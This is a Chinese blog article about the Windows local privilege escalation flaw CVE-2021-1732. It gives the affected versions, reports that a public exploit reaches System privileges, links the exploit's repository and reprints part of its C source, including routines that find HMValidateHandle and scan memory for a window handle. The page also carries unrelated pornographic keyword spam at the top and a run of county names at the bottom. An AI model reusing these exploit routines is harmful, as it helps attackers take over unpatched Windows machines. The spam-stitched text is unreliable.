亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何解析Windows本地權限提升漏洞CVE-2021-1732的分析

發布時間:2021-12-29 16:44:02 來源:億速云 閱讀:170 作者:柒染 欄目:安全技術

本篇文章給大家分享的是有關如何解析Windows本地權限提升漏洞CVE-2021-1732的分析,小編覺得挺實用的,因此分享給大家學習,希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。

漏洞簡介

2021年2月10日,微軟修復了一個Windows本地權限提升漏洞,漏洞編號為 CVE-2021-1732 ,本地攻擊者可以利用該漏洞將權限提升為 System ,目前EXP已公開。

影響范圍

Windows Server, version 20H2 (Server Core  Installation)
Windows 10 Version 20H2 for ARM64-based  Systems
Windows 10 Version 20H2 for 32-bit  Systems
Windows 10 Version 20H2 for x64-based Systems
Windows Server, version 2004 (Server Core  installation)
Windows 10 Version 2004 for x64-based  Systems
Windows 10 Version 2004 for ARM64-based  Systems
Windows 10 Version 2004 for 32-bit  Systems
Windows Server, version 1909 (Server Core  installation)
Windows 10 Version 1909 for ARM64-based  Systems
Windows 10 Version 1909 for x64-based  Systems
Windows 10 Version 1909 for 32-bit  Systems
Windows Server 2019 (Server Core  installation)
Windows Server 2019
Windows 10 Version 1809 for ARM64-based  Systems
Windows 10 Version 1809 for x64-based  Systems
Windows 10 Version 1809 for 32-bit  Systems
Windows 10 Version 1803 for ARM64-based  Systems
Windows 10 Version 1803 for x64-based  Systems

幾乎影響所有主流 Windows 10 系統

漏洞復現

復現環境為 Windows 10 專業版 1903
如何解析Windows本地權限提升漏洞CVE-2021-1732的分析

使用exp可將權限直接提升為 System
如何解析Windows本地權限提升漏洞CVE-2021-1732的分析

EXP

感謝 KaLendsi 師傅提供的EXP源碼,下載地址如下:
https://github.com/KaLendsi/CVE-2021-1732-Exploit

部分EXP代碼如下:

BOOL FindHMValidateHandle() {
	HMODULE hUser32 = LoadLibraryA("user32.dll");
	if (hUser32 == NULL) {
		printf("Failed to load user32");
		return FALSE;
	}

	BYTE* pIsMenu = (BYTE *)GetProcAddress(hUser32, "IsMenu");
	if (pIsMenu == NULL) {
		printf("Failed to find location of exported function 'IsMenu' within user32.dll\n");
		return FALSE;
	}
	unsigned int uiHMValidateHandleOffset = 0;
	for (unsigned int i = 0; i < 0x1000; i++) {
		BYTE* test = pIsMenu + i;
		if (*test == 0xE8) {
			uiHMValidateHandleOffset = i + 1;
			break;
		}
	}
	if (uiHMValidateHandleOffset == 0) {
		printf("Failed to find offset of HMValidateHandle from location of 'IsMenu'\n");
		return FALSE;
	}

	unsigned int addr = *(unsigned int *)(pIsMenu + uiHMValidateHandleOffset);
	unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr;
	//The +11 is to skip the padding bytes as on Windows 10 these aren't nops
	g_pfnHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 11);
	return TRUE;
}

HWND GuessHwnd(QWORD *pBaseAddress, DWORD dwRegionSize)
{
	
	QWORD qwBaseAddressBak = *pBaseAddress;

	QWORD qwBaseAddress = *pBaseAddress;

	DWORD dwRegionSizeBak = dwRegionSize;

	HWND hwndMagicWindow = nullptr;


	do 
	{
		while (*(WORD*)qwBaseAddress != g_nRandom&dwRegionSize > 0)
		{
			qwBaseAddress += 2;

			dwRegionSize--;
		}


		//獲取不到才會走下面的步驟

		if (*(DWORD*)((DWORD*)qwBaseAddress + (0x18 >> 2) - (0xc8 >> 2)) != 0x8000000)
		{

			qwBaseAddress = qwBaseAddress + 4;


			QWORD qwSub = qwBaseAddressBak - qwBaseAddress;



			dwRegionSize = dwRegionSizeBak + qwSub;

		}



		hwndMagicWindow = (HWND)*(DWORD*)(qwBaseAddress - 0xc8);


		if (hwndMagicWindow)
		 {
			 break;
		 }

	} while (true);



	return hwndMagicWindow;

}

以上就是如何解析Windows本地權限提升漏洞CVE-2021-1732的分析,小編相信有部分知識點可能是我們日常工作會見到或用到的。希望你能通過這篇文章學到更多知識。更多詳情敬請關注億速云行業資訊頻道。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

天柱县| 图们市| 定结县| 兴义市| 五指山市| 家居| 和政县| 荃湾区| 旬阳县| 静宁县| 河津市| 莎车县| 广汉市| 定远县| 大港区| 玛多县| 隆回县| 香河县| 丽江市| 分宜县| 合阳县| 昭平县| 新疆| 洪江市| 三河市| 临清市| 威宁| 泾源县| 建昌县| 太康县| 雅江县| 玛曲县| 从江县| 四会市| 即墨市| 嘉定区| 双城市| 旬邑县| 新密市| 黄浦区| 天峻县|